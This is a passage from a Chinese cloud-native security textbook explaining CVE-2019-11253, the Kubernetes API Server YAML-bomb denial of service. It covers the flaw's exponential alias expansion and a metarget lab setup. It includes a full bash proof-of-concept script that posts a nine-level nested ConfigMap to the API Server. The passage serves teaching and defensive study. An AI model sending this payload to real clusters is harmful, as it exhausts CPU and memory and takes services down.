云原生安全:攻防实践与体系构建
上QQ阅读APP看书,第一时间看更新

4.4.1 CVE-2019-11253:YAML炸弹

CVE-2019-11253是一个存在于API Server对YAML、JSON数据解析流程中的漏洞,CVSS 3.x评分为7.5分。恶意的YAML、JSON载荷可能使API Server大量消耗CPU、内存资源,从而导致拒绝服务攻击。所有v1.0~v1.12和低于v1.13.12/v1.14.8/v1.15.5/v1.16.2版本的Kubenretes均受到影响。值得注意的是,在v1.14.0以前的版本中,默认RBAC策略允许匿名用户发送请求,从而触发漏洞。

另外,这个漏洞的曝光过程也很特别——最早由一位Kubernetes用户在Stack Overflow提出[1]。问题提出后,另一位Stack Overflow网友向Kubernetes官方团队报告了这个问题[2]。最终,官方对此进行了修复[3]

笔者环境中漏洞被触发后API Server所在节点上的资源使用率如下,漏洞利用效果十分明显,如图4-6所示。

图4-6 CVE-2019-11253漏洞触发后的节点资源使用情况

这个漏洞的本质是YAML解析问题,又名“YAML炸弹”。这个命名让我们很容易联想到3.4.3节提到的“Fork炸弹”,它们的效果也是类似的——拒绝服务。事实上,解析不当导致的拒绝服务攻击并不在少数,如Fork炸弹、YAML炸弹、XML炸弹、ZIP炸弹和正则表达式拒绝服务攻击(ReDoS)等。

其中,YAML炸弹、XML炸弹和ZIP炸弹的原理是相似的,它们被归为一类攻击形式——Billion Laughs Attack,直译过来就是“十亿笑攻击”。这个命名可能不太好理解,参考维基百科,更直观的名称是“指数型实体扩展攻击”(Exponential Entity Expansion Attack)[4]。该攻击方式理论上存在于所有支持“引用”的文件格式中。

根据官方文档[5],YAML支持以“&”添加锚点、“*”添加别名进行引用。

以下面的YAML文件为例:


a1: &a1 ["test", "test2"]
a2: [*a1,*a1]

结合上面的背景知识,它实际上等同于:


a1: ["test1", "test2"]
a2: [["test1", "test2"], ["test1", "test2"]]

也就是说,a1包含2个字符串,a2包含4(22)个字符串。那么,如果我们进一步添加一个a3:


a1: &a1 ["test", "test2"]
a2: &a2 [*a1,*a1]
a3: [*a2, *a2]

此时,a3应该包含8(23)个字符串。

如果a1中包含c个字符串,a2中包含n个a1的引用,a3中包含n个a2的引用,以此类推,假设这个YAML文件中包含m个实体,第m个实体将包含nm×c个字符串,该文件完全扩展后,所有实体包含的字符串总数应为(n>1):

随着c、n、m的增大,整个文件扩展后包含的字符串个数将飞速增长。一方面,这意味着解析该文件所需的内存消耗会迅速变大;另一方面,解析过程本身也会大量占用CPU资源。

原理讲清楚了,我们做一个实验来复现漏洞。大家可以使用开源的metarget靶机项目在Ubuntu服务器上一键部署漏洞环境,在参照项目主页安装metarget后,直接执行以下命令:


./metarget cnv install cve-2019-11253

即可部署好存在CVE-2019-11253漏洞的Kubernetes集群。

取c=m=n=9,在存在漏洞的Kubernetes集群上执行如下一系列操作,请求创建一个ConfigMap资源[6]


#!/bin/bash
# 查看Kubernetes版本
kubectl version | grep Server
# 开启通向API Server的代理
kubectl proxy &
# 创建一个恶意ConfigMap文件(n=9)
cat << EOF > cve-2019-11253.yaml
apiVersion: v1
data:
    a: &a ["web","web","web","web","web","web","web","web","web"]
    b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
    c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
    d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
    e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
    f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
    g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
    h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
    i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
    name: yaml-bomb
    namespace: default
EOF
# 向API Server发出ConfigMap创建请求
curl -X POST http://127.0.0.1:8001/api/v1/namespaces/default/configmaps -H
    "Content-Type: application/yaml" --data-binary @cve-2019-11253.yaml

在执行的过程中,我们始终打开htop工具监控系统资源使用情况,很快就可以看到资源大量消耗的效果,如图4-7所示。

图4-7 执行漏洞利用程序后的节点资源使用情况

[1] https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sendingconfigmap。

[2] https://blog.paloaltonetworks.com/2019/10/cloud-kubernetes-vulnerabilities/。

[3] https://github.com/kubernetes/kubernetes/issues/83253。

[4] https://en.wikipedia.org/wiki/Billion_laughs_attack。

[5] https://yaml.org/spec/1.2/spec.html#id2760395。

[6] 随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0404-K8s 拒绝服务攻击/CVE-2019-11253-poc.sh。